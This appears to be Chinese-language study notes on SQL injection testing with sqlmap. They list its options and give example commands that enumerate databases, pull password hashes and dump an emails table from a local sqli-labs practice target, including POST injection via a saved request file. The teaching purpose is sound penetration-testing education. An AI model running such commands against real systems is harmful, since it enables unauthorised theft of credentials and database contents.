SQL
注入测试方法:
1.手工测试
优点:测试方法灵活
缺点:效率低、范围窄、因测试者技术水平而异
2.工具测试
优点:自动化、效率高、范围广
缺点:误报、漏报、测试方法有限
SQLMAP
简介
sqlmap
是一个开源的渗透测试工具,可以用来进行自动化检测、利用SQL
注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
官方地址:https://sqlmap.org/
使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage
Github地址:https://github.com/sqlmapproject/sqlmap
/blob/master/doc/translations/README-zh-CN.md
3.SQLMAP常用选项
-h 查询
-a, --all 检索所有内容
-b,--banner 检索DBMS banner
--current-user 检索DBMS当前用户
--current-db 检索DBMS当前数据库
--hostname 检索DBMS服务器主机名
--users 枚举DBMS用户
--passwords 枚举DBMS用户密码哈希
--roles 枚举DBMS用户角色
--dbs 枚举DBMS数据库
--tables 枚举DBMS数据库表
--columns 枚举DBMS数据库表列
--schema 枚举DBMS架构
--dump 转储DBMS数据库表条目
--dump-all 转储所有DBMS数据库表表条目
-D DB 要枚举的DBMS数据库
-T TBL 要枚举的DBMS数据库表
-C COL 要枚举的DBMS数据库表列
在文件管理器中同时按【CTRL+H】
键,可以快速显示隐藏文件。
使用:
1.检测SQL注入漏洞
测试目标是否存在SQL注入漏洞
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?id=1
2.获取当前用户
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 --current-user
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 --current-db
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 --passwords
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 --dbs
获取指定数据库下的所有表
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 -D security --tables
获取指定数据库下的指定表的所有列
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 -D security -T emails --columns
获取指定数据库下的指定表的指定列的所有数据
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 -D security -T emails -C id,email_id --dump
检索所有内容(实际上不要用这个选项)
sqlmap -u http://192.168.248.132/sqli-labs/Less-1/?
id=1 -a
POST
注入
1.将post请求粘添进qq.txt
sqlmap -r "/root/.sqlmap/qq.txt"
sqlmap -r "/root/.sqlmap/qq.txt" --dbs
sqlmap -r "/root/.sqlmap/qq.txt" -D security --tables
程序越复杂,漏洞越多